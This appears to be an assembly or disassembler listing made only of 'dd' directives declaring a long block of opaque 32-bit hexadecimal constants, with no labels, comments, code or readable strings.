dd 4D9A2118h, 68049665h, 68BB1FA1h, 0F235E995h, 1FFB6EF6h
dd 8CF5857Ch, 21D9C0D2h, 0A4981C6Fh, 738C924Fh, 745E0E84h
dd 23CF5F3Dh, 0F24B49F8h, 0CC808F94h, 5715629h, 0D71E1E8Bh
dd 13B02E3Dh, 4A79A84Dh, 7279A571h, 0C5E41A68h, 0C0516ACh
dd 0B827669Fh, 40FCDA9Dh, 899F4629h, 0DA1EFD54h, 1075BDAAh
dd 0C8D268E8h, 7D092CD1h, 763D1A0Ah, 60DFC222h, 61BC14CCh
dd 0C598E849h, 0EE53BCE0h, 914CD34Dh, 0E15B0BDCh, 4827629Fh
dd 3B127404h, 27F02C3Ah, 9BE93D50h, 810D3DFh, 0F911AA6Ah
dd 745DA73Fh, 0C4F1C508h
dd 2834F0A4h, 139649Eh, 53F604D1h, 0F06BD0B7h, 4025E9BCh
dd 405F5E18h, 616B023Ch, 14E2BE98h, 0E9528305h, 6788FE0Fh
dd 7A270445h, 0F0432D76h, 9B0535FCh, 0F7753B6Eh, 89FEE505h
dd 4A7823E2h, 69E1149Ch, 0B586917h, 2C56F780h, 2DE77625h
dd 1F4BA9F0h, 4B250431h, 0C02B6EE9h, 125374E8h, 93155Ch
dd 1E3A5FD8h, 82F934E9h, 24576055h, 9DB7BE85h, 2F5DCB50h
dd 183FAE54h, 0F11DF5C3h, 0EA4515D7h, 507BBC1h, 0A9522BD1h
dd 0F21A1B93h, 0DD308DCFh, 39279447h, 8D4055BAh, 0A1463622h
dd 923AD883h, 4CDE3908h, 5371EE81h, 0E66A1EA4h, 100548A0h
dd 800ADD10h, 0E946CE3h, 3C1C0C3h, 0E9B15166h, 96806028h
dd 274FB649h, 987014F9h, 7BE309DCh, 2FF708CFh, 0D118E217h
dd 0B2E90138h, 2E5865E5h, 0B660A2B0h, 0F3FB27E0h, 1F10EC10h
dd 72D4818h, 67B514AAh, 57F837B2h, 88376394h, 0D80516A7h
dd 69F03CC4h, 0D8584A54h, 41188D77h, 0C89A32FFh, 165E762Eh
dd 13D0548h, 6AE9E5E6h, 2C30497Ah, 4D2D045Dh, 728726BDh
dd 0CE298408h, 0E581BF87h, 404C2A5h, 0AA0AA0DDh, 0BC5BB2D8h
dd 0B9BF0371h, 0A4CFF5CDh, 0BE6DD091h, 75286A8Bh, 8950D17Ch
dd 0D1CEA06h, 1CD645Ah, 814B0F2h, 5E2D17A6h, 9663918h
dd 1C88BB94h, 685D0270h, 840912E0h, 0C4CBC26h, 663D5221h
dd 37A84C68h, 9584DF74h, 2C7669BFh, 62ABD279h, 0C8699B8Dh
dd 3B677B01h, 0D7AFB3D2h, 123E9645h, 0BBACBD8Ah, 5B5453C2h
dd 0D10E65D4h, 54A2912h, 8B074227h, 0B515ED2Bh, 0CA24C4AFh
dd 1328489Ch, 1AE71F12h, 8F1A247Bh, 6EE9771h, 77B26B6Fh
dd 0AB40AF9Fh, 250B5588h, 0F6408275h, 6202C2DAh, 86A9D57Ah
dd 742723FCh, 9D07A866h, 294F72D2h, 4A9B7EA0h, 0D534A4DAh
dd 2FAB1213h, 9C7100ECh, 13E989A1h, 0ED9DF8F0h, 3F6805F7h
dd 5E5D813h, 0CB5003E3h, 6859DD8h, 3AADDBAFh, 0A764E8CBh
dd 0C02EA53Bh, 0C3DF31EDh, 0D1F7CF8Ah, 0C781081Ch, 691E2781h
dd 4A3847E9h, 91BE5641h, 896EB026h, 1AD8DBF6h, 19F38024h
dd 0BE80A812h, 0F0BC0458h, 0C8C25BADh, 0B6F25437h, 56AD324Ah
dd 0E93012A6h, 5752A16Ch, 0B8BF1E66h, 0A7B9CD26h, 0DCB0204Dh
dd 0FBADF740h, 757E20D5h, 7F12BD54h, 4993735Dh, 5417DF9Ch
dd 13B613A4h, 4DEF640h, 85C0F56Fh, 4EF88228h, 5B50917Dh
dd 0C892A22Fh, 0D06360Ch, 8864BCA8h, 62E9020Ah, 92C9A06Eh
dd 0AF4C5627h, 0FFCF2460h, 654F0BB9h, 47EEE657h, 650D2AB6h
dd 5B188048h, 88C09A77h, 3157AC9h, 3086F970h, 2472733Dh
dd 49345012h, 8C225846h, 1DC6055Fh, 0FF278B7Dh, 51A23120h
dd 7F394034h, 69905B3Ch, 6DEA821Eh, 5FE6D293h, 0F305855Fh
dd 279222D6h, 3BE0E789h, 5B984C9Ah, 0B316B972h, 0ACE19576h
dd 7462123Ah, 9F94E8A3h, 0AAC7E984h, 0FBF5E5ADh, 7CA08465h
dd 3E7B41ABh, 0C126C9C8h, 0BC685113h, 0A4AD9871h, 14E18071h
dd 8FC1FE03h, 20BEB40Fh, 9A41AC3Dh, 4AC38733h, 6F0E28AAh
dd 112AABC7h, 0E560EDD9h, 29192DC2h, 882B958h, 0B7306274h
dd 9502AFEEh, 40BFD550h, 97A86C2Dh, 23C71D20h, 4F714D9Dh
dd 0F8FE5379h, 68E7B592h, 1566C1B7h, 35692305h, 0F3200841h
dd 38739D2Ch, 60055092h, 25C08894h, 0D405E8C0h, 0BF104506h
dd 25400AE6h, 1017C6ABh, 697A2E1h, 1A00006h, 0C709FF71h
dd 8881E595h, 4828EDC8h, 0A7629508h, 1F630F42h, 6F0C332Ch
dd 68AA600Bh, 0C2D44051h, 0D8C5141Ch, 5150E4D7h, 0F040F3ECh
dd 6056548Ah, 5DA10C40h, 1680EB8h, 26260829h, 0E3BF1420h
dd 232E4004h, 1F995EE9h, 0C2937Ah, 0BA44F1BFh, 0F6068167h
dd 7DAA3F5Bh, 0A62B9684h, 0F8C8329Eh, 0B65A4EDFh, 0B0756B88h
dd 826C81DCh, 77D9E660h, 0FEB80CCBh, 58C1426Fh, 0AD846777h
dd 9ACBF8F4h, 0DD5DC189h, 204E5D01h, 6039ACC4h, 0BD5501D4h
dd 7F760BAEh, 12AB0120h, 0F46F4C22h, 88FCAD02h, 0F51C627Eh
dd 4DD7DF55h, 0C2E948C3h, 0FD5F4A76h, 63211B16h, 10F8A65Ah
dd 28513BBCh, 22EFFD07h, 0F9884F1h, 8C3420E5h, 6F06F6BEh
dd 0F16B3B80h, 65F69AD0h, 69A3314Fh, 0E37320C5h, 0BDA254Bh
dd 0A786E5E1h, 4127C07Ah, 6255DC2Eh, 6803C8ECh, 64FB8C61h
dd 9AC4722h, 168B965Fh, 0E9FEA19Dh, 3E559A5Ah, 0E17EF309h
dd 28204726h, 7C1E7A3Bh, 0D4EE20BAh, 5FFE0912h, 1775D400h
dd 0F3297366h, 143FD471h, 0C12C44A3h, 0B2B55402h, 0C992D776h
dd 51F059E6h, 5F1649BCh, 0FC062E2h, 0FFE9C8AFh, 869A1859h
dd 0FC0B5451h, 9F1FBA80h, 6831AF31h, 11895EEAh, 6B192F88h
dd 0F30109h, 0D326D0E5h, 29E0B703h, 4FC9E0E9h, 2D1C80C1h
dd 60CA534Ch, 0E905105Eh, 0B2B77BD1h, 0ACD74FE5h, 32FE21C1h
dd 0EB5FBD9Ah, 0CE16E948h, 6884906Eh, 0EBA6019Ah, 3F6BF83h
dd 2D645658h, 8A6F095Dh, 8456B7C3h, 0A3A7B5B0h, 0FB61AB31h
dd 7272ED58h, 6AF933E2h, 6F22D898h, 0D1039D29h, 19A111C1h
dd 180C8045h, 0E972E521h, 9168E5F0h, 2857C9Fh, 5E17C268h
dd 8C0F885Dh, 2880B603h, 0A73FCAF4h, 32C56482h, 276A1483h
dd 52024810h, 5A01A701h, 0C2E0F389h, 5B929F84h, 12E79504h
dd 0D8EEE5C4h, 0A0973EA7h, 0E868E789h, 2219C92Dh, 88516721h
dd 78E02EC1h, 0EEC00358h, 68B35303h, 28E0458Eh, 0D98ABAC9h
dd 39ED2CDFh, 0FF70D32Fh, 0F1B86DE4h, 38E91708h, 646806B1h
dd 40206D7Bh, 0C2892DB3h, 7E878C74h, 0B82A5329h, 0E4B09412h
dd 8ACFA128h, 40A24624h, 900BB99h, 0F74B3558h, 9BF168D3h
dd 73BF0055h, 0E933470Eh, 0FFE17710h, 40A2A340h, 11C466F9h
dd 8FBEA782h, 0E55B2505h, 6FB80FD7h, 3503E8C0h, 3A0A17E4h
dd 665BE941h, 27D75B2Fh, 0DBF74368h, 60EBC204h, 7909FE01h
dd 897D40ABh, 72E782FAh, 78507E16h, 6D044EE6h, 1C05E946h
dd 2CDCCDAFh, 288A4405h, 0EDD7C550h, 0D5F60514h, 0C58628D9h
dd 9CCC9151h, 582D190Ah, 51662CC3h, 0E1391651h, 70396E99h
dd 8740CF68h, 9591702Ch, 0B9863F60h, 6ACA1683h, 8A77FBC5h
dd 0A6BDD8B2h, 600EE289h, 68F625AEh, 357BF832h, 3984D72Dh
dd 2D69D22Eh, 0AB68DE17h, 0F4822274h, 622DF02h, 5E01BBF8h
dd 59CCF289h, 0A0FA6201h, 15717ED6h, 3FEC5B12h, 0B6DCCCA4h
dd 0BAF3C84Fh, 68575080h, 32471FEh, 0CF00F20Fh, 6941478Eh
dd 8E0955E9h, 0BDBDB5EFh, 0A94A3448h, 61FBD6C0h, 7CFEE9DDh
dd 0CABD0301h, 0D25B9919h, 9904A87h, 0BABED797h, 2C694A33h
dd 0BDDEFE57h, 0ABFA4952h, 48EB914Dh, 92B24EA9h, 4BB13C99h
dd 421422B9h, 54974325h, 2F610212h, 0FD015E0Eh, 0C1C3452Bh
dd 0EA5EFA20h, 0C4047C4h, 83CC700h, 312E02FFh, 0B582CFAh
dd 840F0BC9h, 34A20664h, 860917F8h, 1D85EDF3h, 9828CEF6h
dd 2C220C6Ah, 5C993125h, 457597BAh, 11555986h, 277EBF74h
dd 707E27B8h, 97BA5240h, 7C8C0014h, 5430F281h, 0F95653Eh
dd 74BE024Fh, 0CAFBE02Bh, 77450034h, 0D0BB5351h, 7007F14h
dd 5FDB850h, 2D4224h, 656E43BFh, 0BC295735h, 9871C4Fh
dd 0E0F2AED7h, 7D0075A6h, 25C0CB81h, 7951E53Bh, 0BFEB4613h
dd 0F7BC5B12h, 0E3689F12h, 0D1F81069h, 0AB97844Bh, 407D1F8Eh
dd 9D3C61B9h, 604D2DC3h, 95FE877Fh, 9094DE8Eh, 0C0A64E7Dh
dd 3DBBEDFh, 8117F200h, 1312F3EEh, 0E94E3976h, 96BFE9DBh
dd 552C6AFDh, 80452403h
dd 17966850h, 0DFF618DCh, 123D7496h, 0FAF61D24h, 3E050B58h
dd 852B0550h, 9593EB71h, 5C4B3D9Fh, 0E2E66313h, 0EC809281h
dd 608B5F76h, 4898A641h, 128536Ch, 88280CEh, 99DE0455h
dd 289228AAh, 0B17CF741h, 0EAA1FE12h, 0D3932437h, 0EE370279h
dd 0A1DEF0E3h, 3E532E1h, 0BCE1A4C1h, 0FB0CC50h, 4EC57988h
dd 0F6F60583h, 505B70D8h, 2AD6BBB0h, 0F08D17ABh, 0E073F5CCh
dd 0A5E1E54Fh, 7C9E57DAh, 1550595Ch, 4A56D088h, 428FBDF9h
dd 0C0376A24h, 0C143713Bh, 0E4C0F48h, 2F6548E7h, 99F7C9E9h
dd 0F90583DDh, 7B741061h, 7405288Bh, 0B85E201Dh, 2EE55674h
dd 0EAFB9CC2h, 994EA21Dh, 0EAD102BBh, 5284895Dh, 6D4C09E5h
dd 0E0D60A5Ah, 5BE402C5h, 1EE70BCFh, 7D0503A9h, 0E7C8AA06h
dd 410B0B9Eh, 97045665h, 55D05BEh, 499A9ABAh, 6F680AD1h
dd 0BF9AF41Eh, 0E4BCDF0Bh, 0C141E916h, 0F0153E32h, 0AF2962DEh
dd 0F509AABEh, 0B1513181h, 0F0137B08h, 0E9DC3AB1h, 24CE5F9Ah
dd 0EE21846Bh, 0DC30F80Bh, 0C2830F39h, 0DA1F03D3h, 0E9E0F306h
dd 499982C6h, 0D74E973Bh, 0D858DBA3h, 0EC5BCF49h, 0A368B094h
dd 64E7DC0Eh, 27F6BD0Ah, 0A1D3A5ECh, 81CCAA08h, 4F390CF2h
dd 0AB02F78h, 3D240933h, 2C0EFA29h, 9939F932h, 4E03CAA0h
dd 1AC878Ch, 30639D3Ch, 0A12BC4Fh, 33F01B39h, 5E08A1EBh
dd 51315C85h, 0DE04811Ch, 0FE448BD8h, 3DEE85CBh, 3B8ED2AAh
dd 88094FFCh, 0FAD502EEh, 0B85204D6h, 0F65A276Eh, 43D4AD57h
dd 0E849E98Ah, 0F62CF5A2h, 0CC9DC8F1h, 3AB76805h, 0D433AEB1h
dd 554C5A58h, 1F64D010h, 9A7104ACh, 405C385h, 97645ABh
dd 0EF150759h, 55C1FB25h, 199EA041h, 8FCCEEC1h, 5CE90845h
dd 0D1A8148Eh, 96FB5138h, 5158C412h, 807C82D2h, 283F93B1h
dd 402EA5CCh, 129CB913h, 0AA214244h, 71122440h, 5FE90AA0h
dd 0E37CE458h, 15DD6812h, 9104E2B3h, 802B3472h, 195EE7AEh
dd 0D2F7270Bh, 9C62844Ah, 5F7B813h, 9ED991E3h, 0B43FACA1h
dd 665F15DCh, 26687F20h, 0C4F7A85Bh, 310AC50Dh, 58BAFCC7h
dd 34BF1661h, 5549A15Ah, 5425E0E7h, 4A05EFF9h, 0EF61FB30h
dd 0FB72FCBAh, 47BA4A4Ah, 2FA028ACh, 0AD380991h, 24266F01h
dd 7408015Dh, 0D5C259Fh, 3D65D510h, 19CB0147h, 0A8267F8Fh
dd 0A89017ADh, 12747A20h, 0C27234B9h, 72F0EC13h, 0E830C394h
dd 5BD701D3h, 8AA95Bh, 847D4480h, 81FA46E9h, 9AC2D8ADh
dd 32C795h, 2ABD5551h, 364F693Bh, 0EEF5A200h, 0EC3A8E67h
dd 8970FE5h, 0DDC20FA8h, 0AADC2BE9h, 8EC95112h, 48E61842h
dd 144ABF6Fh, 9604505Eh, 3AC230Ch, 0E918F8BEh, 0BB3CDC1Dh
dd 0E45007A8h, 0C3DF0902h, 550264A9h, 0EF0F2EB9h, 71DA6038h
dd 497F0202h, 0ACE9C789h, 0BA00C178h, 538764ECh, 9C28142h
dd 0D1480690h, 5F24A856h, 1EC14C20h, 55B30331h, 6363A20h
dd 11B6838h, 8831CDAh, 8B141C40h, 18CA0A4Ah, 6873314Ah
dd 0F8D87B44h, 0C2D64146h, 0B65286E0h, 0F313D770h, 1813305Ah
dd 0FE0B9E04h, 0F666E987h, 0E758EA5Eh, 4CE0C0F8h, 0EA2D8406h
dd 905CAD9h, 0D5EE2169h, 437F815Dh, 85800D5h, 805939EFh
dd 0F79DB3B9h, 92C7814Ch, 6B8C2FE9h, 0DB688D20h, 8592462h
dd 78A40B1Dh, 0C118B0F2h, 0B90B6FDAh, 921BE2Fh, 28826C7Bh
dd 8CF49F0Eh, 31EE904Ch, 8C1C8377h, 0F38101FDh, 28155470h
dd 0BD64328h, 1A9D5752h, 0AAE77808h, 69F096Eh, 0D5892CBEh
dd 9A848175h, 0CAEF6F7Bh, 370808D6h, 2702FBEAh, 0B50188E6h
dd 3B20F6B1h, 0B013D799h, 549AE583h, 0C52C42B2h, 0BD1062F9h
dd 0FB720527h, 22D7F1F5h, 3CC9262Ch, 8949640Fh, 532BC224h
dd 49522D95h, 0C284C4A3h, 1AD7792Bh, 0AFCB4119h, 626B050Ch
dd 92D3CD1Eh, 7CFFF1A7h, 6F4D8FAh, 527B344Ah, 23B101F2h
dd 357C1120h, 77D03B87h, 3A95D61Eh, 5A2D0129h, 0C8E92C79h
dd 0B761BD81h, 75AE6119h, 0D5F36E54h, 0BF72E982h, 0B0C9A4FDh
dd 0C02E3DE8h, 0E1800170h, 6AD1F667h, 0FA7C3363h, 4CB4D021h
dd 322FF059h, 5925E3F3h, 70A36039h, 683957E0h, 2E30CF97h
dd 0A03F4C47h, 0B9276ED5h, 167DEB76h, 0D3F73B60h, 0F641CB19h
dd 665F00DBh, 2C969F01h, 0D8B70F31h, 7863D2EFh, 3A94B87Fh
dd 680A2CF0h, 60DC2818h, 95E9E1B1h, 0F781CE96h, 6D9F06F5h
dd 4C6837EDh, 30B2294Bh, 0EF88E313h, 0A30916CEh, 49B3933Fh
dd 0F3011D96h, 872FEE50h, 4220DE89h, 9C10FE6h, 43FF33DBh
dd 49523259h, 55B8F6E0h, 0CB67DF28h, 84B6224Ch, 25AEE83Ah
dd 0A9D90884h, 2F35025h, 4757ED81h, 0C1563425h, 0E92E08A0h
dd 808F0B8Fh, 0CAFE40E2h, 0FA2AB753h, 337C5BF4h, 0AA8DD5BCh
dd 10B5B777h, 16BA21A0h, 8BC90A8Eh, 9BE9091Bh, 0BDF544EBh
dd 80B15F0h, 6401333Ah, 93D9833h, 517E2FECh, 799CCDEh
dd 44900606h, 0FD5C70DCh, 0F1BA17BAh, 0F65934D1h, 80D8C505h
dd 6B75ADDBh, 1F180848h, 4A582F2Ah, 281BA478h, 0F0BC1724h
dd 3E34080Dh, 0EF03DF29h, 0A0482CCCh, 4BE9FA31h, 0BD230123h
dd 0C2B40E51h, 9F19A3FFh, 0E936B01Bh, 97049750h, 1685BB5Ah
dd 47EFF765h, 7FE628BEh, 0F0E1B15Bh, 550A875Fh, 0E821DD89h
dd 0F43F5B5Dh, 89979D48h, 7F9CFF01h, 6B3CD322h, 0C7C47CDh
dd 2F42C166h, 0D8AD89CEh, 0C90C804Bh, 688548CDh, 9B6A7DE9h
dd 63F82F56h, 3E5B29FAh, 80BEADA4h, 4C97E689h, 189DBC66h
dd 5A59DD13h, 0BF40F4B8h, 2B892EBBh, 0AB353D98h, 4F34EE23h
dd 370E6380h, 20809FC0h, 12950149h, 83A3E912h, 7FBB6197h
dd 0F656F5A9h, 8076C770h, 5312AB2Ch, 0EFC5B868h, 5E878BFBh
dd 5DC0E961h, 419ED158h, 0FB4C3FFAh, 9F5C5BE0h, 323192E4h
dd 7047DDADh, 0BBA0AE4h, 723687E7h, 1EB07BD8h, 790562E0h
dd 0D55DE914h, 50A976EFh, 96633A80h, 171AEEBFh, 0B9206F29h
dd 9E129877h, 320600A0h, 37426856h, 5E270EECh, 6014F652h
dd 0BD66EFEAh, 0D1D4794Fh, 48E90802h, 2002CCDBh, 0E98091A2h
dd 937C1F7Bh, 0C5302141h, 0ECE613E4h, 7F3FE0DBh, 96649740h
dd 97021E40h, 6844F01Ch, 375F920Eh, 8B476F58h, 4849788Ah
dd 0E1207B42h, 0F2053D90h, 0F7AAC9FAh, 0E990C8EBh, 69CA652Fh
dd 5AE1BE40h, 0B85E6768h, 7A052732h, 165B4A77h, 0D67BECF5h
dd 0ED73A08h, 2D43AD66h, 74DA54C2h, 71B58158h, 9696AFCBh
dd 7DFE91Ah, 0CD96C01Eh, 5BF82E30h, 2C4813D2h, 0F412885Dh
dd 0A3F55CE9h, 8ABEE604h, 76BAC18Ah, 8420A43Eh, 89D14AF7h
dd 0E43E61A7h, 36021972h, 52B59BAh, 7807F51Eh, 2E01A4Ah
dd 2228EBD7h, 1DE249F5h, 0BAB100E2h, 0C5B0C1FEh, 8E1D030h
dd 0B203F180h, 2C06C562h, 0FF00EA74h, 2DE9CBFEh, 9756BCBAh
dd 4C60BC38h, 0F121B08Ah, 0E9C1025Eh, 36106806h, 906253D6h
dd 0B5EED77Fh, 0A23782BDh, 5EB0E93h, 0E3F6A8F7h, 86FE933Eh
dd 0EC3ACF21h, 60EBC001h, 0E4408825h, 203600BAh, 0CA817B1Bh
dd 612F41F5h, 0BD93E83Dh, 0AC10C43h, 2C60D029h, 26620C73h
dd 0D7CDEC78h, 2A2C4F45h, 5FD30418h, 0A6A1BD05h, 63E54EE9h
dd 2D104C91h, 450DC41Ch, 0E7802BECh, 7D1F0D19h, 0CB10DDD1h
dd 40028574h, 0B1078DD3h, 301800A9h, 3FF3F680h, 0D1AD182Ch
dd 0D63114C0h, 0F264B1EEh, 0E9C2F071h, 8F55D3C9h, 18ACC209h
dd 0F1048129h, 8C90E87Ah, 0EAD10691h, 0DA7D4700h, 0D05F527Bh
dd 51E043ACh, 0C092CFE9h
dd 0BE565301h, 0B8239C1h, 0D6C226F0h, 25EA18DDh, 27168BFh
dd 464F1F2Ch, 0B7039E2Eh, 8361B64Eh, 0AC39D9FEh, 0BF961D2Ch
dd 0AF00E825h, 39AD7F22h, 2E71ED01h, 0F3580802h, 867AA746h
dd 21AD7165h, 0CDF80EFAh, 74D03C23h, 6B12E7F3h, 335E0668h
dd 6F1F058Ch, 79B038F3h, 0DA0124FFh, 6B16AF3Dh, 0E9FE31B5h
dd 0D528A1C5h, 4B738B97h, 0FFD2E6ADh, 9F580B38h, 232D8318h
dd 5ED84302h, 8C05C801h, 27E99307h, 75972E4h, 0B1515300h
dd 0B59AB7F0h, 0AE09C242h, 20484B96h, 0DD6A1012h, 34EE332Fh
dd 4234D39Fh, 35C5A570h, 0E08D973Dh, 0EAB544E2h, 6809A3CAh
dd 0D1E66638h, 5C6FF80Bh, 0C5B7892Eh, 3550126Ah, 2E3C82B8h
dd 98C33783h, 9589D1CAh, 80AAAE2h, 92FAA782h, 51BF0325h
dd 0C0E893DEh, 30A7051Bh, 4276DF33h, 6A08EAC3h, 0E570811Ah
dd 1B304453h, 34FC17C6h, 94210BDBh, 204FE0E8h, 0F4033A0Fh
dd 0F8E3894Eh, 0FD015B29h, 1B3238B5h, 415A2909h, 0E72A08ACh
dd 508C4BFh, 901393FDh, 0D04EB4D3h, 4672411Eh, 0AA0D7D2h
dd 17420BBDh, 20841D50h, 7529BBF6h, 5AEA22D6h, 0D3AC3026h
dd 8C21000Fh, 8151435Fh, 69B6E204h, 9C06698h, 3C41DAE7h
dd 74892DD0h, 0D0DE58A7h, 0B3990720h, 0F9C9560Dh, 9CDFB9DBh
dd 68C2A66Ch, 0D75B72C7h, 0ED082524h, 0FB290BB3h, 0B903D3D6h
dd 0B0350144h, 0E64032E3h, 0FECD9053h, 30C52F64h, 0AC8002F8h
dd 6A2DF2A7h, 0BDE2ECF8h, 6D8862C5h, 0CFBA3D9Eh, 52B0238Bh
dd 209E0FD5h, 4B78CBF7h, 84574B0Fh, 9642FB8Ch, 0C138428Fh
dd 407A5C00h, 880C28Fh, 7A971D78h, 0DD0882EEh, 1442C5CCh
dd 1BF3E909h, 51267659h, 18829608h, 0C425425Ah, 0ACA2B6E2h
dd 0F1426B89h, 81034951h, 0E21E62F5h, 0AC007D05h, 21782366h
dd 0E481F09Fh, 2FB69CCAh, 5A09805Bh, 0FEE4895Fh, 88F2A565h
dd 0E57B8227h, 984C0867h, 9C24E2Dh, 602E707Fh, 84B91EF4h
dd 0ECB71D6Eh, 6D615D80h, 29150088h, 9BBB53D6h, 0E670D2Dh
dd 62C3CD5Ch, 5CBB052h, 231B274Bh, 0D4FFE452h, 0A5259EFFh
dd 27137029h, 8737560h, 0DDFD5509h, 0E9559192h, 2569C217h
dd 24B2680Eh, 0F2F3A497h, 0B0CF8000h, 0E9A4B450h, 90134B63h
dd 0EF4CB51Ah, 0D1014513h, 4B084210h, 11DE9DA9h, 0B6E12459h
dd 4306A200h, 1E78114h, 5FA1EF4h, 0F0A4B850h, 0F9B60442h
dd 55A2C227h, 0E4261930h, 0F6F02880h, 245A7518h, 87B52C8h
dd 0BA019159h, 8233406Ch, 5E77B02Eh, 0ECAC6340h, 0E49A5EFBh
dd 0FA864B2Bh, 0EF49CD4h, 0BCE9D921h, 6E25B9F6h, 4260977Eh
dd 48609B2Ch, 2803710Ch, 0A2F3B810h, 0C080D22h, 0E6541405h
dd 0BF8E1151h, 0D602F35Eh, 93A42C24h, 32586BBDh, 0C5F9AFFCh
dd 33EC27D7h, 0C328C5E0h, 0D96BD4CBh, 40868B0Ch, 7E377266h
dd 6C605F61h, 5C29F913h, 0D0046441h, 85D605C0h, 7A8709C8h
dd 0ABF76992h, 2DE9251Eh, 0E92B43FAh, 4F27C6C9h, 0A8015CC2h
dd 0D5A9DC5h, 0FABD553Ah, 0E93F2304h, 30BB8583h, 0FBC38039h
dd 0C05A07F8h, 0FC3CF041h, 0E12E6742h, 5F8D4042h, 4F79921Fh
dd 7222EE61h, 81649910h, 4B5FEC95h, 3035F073h, 0CC4B4C30h
dd 25677D4Eh, 25D64152h, 62C21002h, 0EA62D535h, 8406C27Fh
dd 22AC40F8h, 0B569E5Fh, 9A918AE9h, 0BD5C8011h, 1C68BB54h
dd 0DD490735h, 5E465F72h, 4B562D94h, 2BAE0F0Bh, 0B9CC047Dh
dd 0D5DCE249h, 9774AFC0h, 9676C00Bh, 0E9636B66h, 4180D54Bh
dd 2F6C71BAh, 2203562Ah, 0CEC8A605h, 0E135E995h, 2FB455DFh
dd 0BD9B9F58h, 7AD1524Eh, 972879E9h, 4BED8007h, 16507920h
dd 92F2F027h, 611F41F1h, 0C90BE00h, 0F613D05Bh, 4EA4795h
dd 0AADCF51Fh, 0CC4A31CEh, 7B096806h, 0DE6E0B2Ah, 874F65E7h
dd 6C01611Eh, 4E82881Bh, 1EBB2CB5h, 6EA30967h, 0DE3DA3F1h
dd 190F5A81h, 125E1EB8h, 0CD32F24Bh, 0DC6F9910h, 58BD5923h
dd 0C9915446h, 282316B5h, 88E90AE8h, 92123F9Ch, 0C30EFDF8h
dd 915B41BAh, 0F02B310Eh, 0DBB55A38h, 803628ECh, 25505312h
dd 0CC0414E9h, 8D7E8047h, 454A606Bh, 41574EE0h, 30852858h
dd 35BE0DA3h, 96B015Dh, 31C7F681h, 0F5316048h, 0A416E913h
dd 4268FC90h, 595C7682h, 2C208BF7h, 2776DD27h, 0F009A1CBh
dd 9FF5EB63h, 366A33Bh, 6F572968h, 70CFEA6Ah, 645E514Dh
dd 6DE22ADh, 89E7E99Fh, 0B1C7D76h, 76E9572Dh, 4E358B45h
dd 1C209F7h, 0E8615F80h, 82325AEAh, 44FBD408h, 0D04CFFD2h
dd 0F4F665A1h, 7EA05C0h, 9ECF280h, 40FE5EE4h, 20D0296Fh
dd 98685688h, 19332C03h, 0F8F601A2h, 0D8694436h, 0F1F49DEEh
dd 0D6A450EDh, 89300685h, 74C22AF3h, 77050450h, 0B9CDF7E9h
dd 8B691056h, 0AA09BA4Ch, 0AA588725h, 69EF17D2h, 0EAE32ACFh
dd 998FBCD2h, 7738C668h, 0AA4D85D7h, 0B24AF7CAh, 99DDC464h
dd 1D02D109h, 4CE6896Eh, 0BD3F77Bh, 857FF805h, 55CCAAE9h
dd 220605D0h, 9BD6462h, 0DD29250Bh, 4F20A4DAh, 39CFE86h
dd 812CB46Fh, 14F1C7E5h, 6CE74055h, 495C8A67h, 0EFED0196h
dd 14D9E8Bh, 0AF79D1D6h, 757222F1h, 0B49DE6ECh, 0DF3B76Dh
dd 7262411Fh, 3032BD92h, 0C43E6868h, 1728EA88h, 0C520B72Ah
dd 3C0901B4h, 6B260A5Dh, 8062CA5h, 2A18051Ch, 245B538Fh
dd 659DBEEAh, 4514173Ah, 0EEB13ACCh, 0C4E22E21h, 0D6345820h
dd 0A6951810h, 8082812Dh, 0A910DB54h, 465E3E0Bh, 1A870E99h
dd 0BCDA6031h, 0E09D7A9Ah, 91AA18B8h, 955EA7B7h, 5A25C510h
dd 0C89EC0F4h, 60F9CDC8h, 0FAB35351h, 0ADCB8012h, 6906FF59h
dd 13240030h, 175BDD88h, 96D4F874h, 8EAAA212h, 24B758Bh
dd 4FE9AB8Ch, 1CC7AD4Ah, 81C3DAF7h, 0C40176F2h, 390235ACh
dd 68B1E90Eh, 29C546D4h, 7BF7EB81h, 68137F26h, 6A98E474h
dd 0B960EC9Eh, 0B8622BA4h, 0F1C904A2h, 87110370h, 295F418Bh
dd 6C3A604Ch, 0B24AE6B4h, 0A0ECB762h, 8081B525h, 41E292E5h
dd 0E8FEE991h, 50CA01C5h, 0A4BBACE1h, 0F74B36CAh, 0E6B72EBCh
dd 92799751h, 8D98FEE7h, 7E6253DEh, 2D68F1D8h, 82593790h
dd 5B0251B7h, 0B40F4152h, 2F69AC04h, 9FD35AEAh, 0F3A9BF68h
dd 78F58080h, 0C2FB2F44h, 424EA45Eh, 82E3C0D8h, 4CF62688h
dd 0CA95F294h, 11520193h, 3CB74A8Ch, 31174C4Ch, 0C872BEE6h
dd 58C2C052h, 1F4036Dh, 0A38B57BAh, 0E9C229D0h, 0D8C4302Ch
dd 94105E6Ah, 79A2D22Fh, 47D55354h, 0B951085Ch, 2D3B7649h
dd 447AC81Ah, 4E3BC745h, 622715FBh, 0EC1CD56Bh, 782125CCh
dd 0BCE20481h, 80797F60h, 2C11F456h, 0EB04407Ch, 41C2215Bh
dd 45094EAh, 0E8515A08h, 3DE9841Ah, 295CF391h, 40F49848h
dd 9A2EBF52h, 0AF24F167h, 777CBE02h, 6D49D51Eh, 289D7417h
dd 9623719Dh, 5608A51h, 0E3282BB4h, 0B7CF3CC1h, 0E039E00Dh
dd 4B227195h, 0E850BB04h, 3C663CC3h, 0F82327D8h, 82F19FD9h
dd 54966C6Ah, 0B85E5B8Ah, 9F83A38Dh, 2B30FDF9h, 44BF689Eh
dd 7BA0814Ah, 0C158A1F8h, 1A68FDEFh, 582F7338h, 53CD240Ah
dd 76E7589Dh, 0C071501Ch, 0A84CAA83h, 8688EFA8h, 7C531F0Eh
dd 0B0F212DEh, 29C938CDh, 0A5595E2Dh, 6BB80CE0h, 0F778F00Ah
dd 482702D2h, 4BA2E9D9h, 0ED399D08h, 9D74C67Eh, 0D168F173h
dd 0BD97ED7Ch, 98810A0h, 0CC9CB04Ah, 7FEBECA4h, 0F24E29A2h
dd 0D6C9DFF2h, 786B5A65h, 682C5D06h, 48D8F709h, 79096378h
dd 82095F4Ah, 517E66ECh
dd 8911A43Eh, 44562F6Ah, 4A90E978h, 782649DDh, 20BF0D20h
dd 1A7A357Eh, 0C6B38A2Ah, 2F20C792h, 37BD07ADh, 0A3231F73h
dd 3802144Eh, 0CF15462Dh, 5D6852Eh, 59680702h, 6140F636h
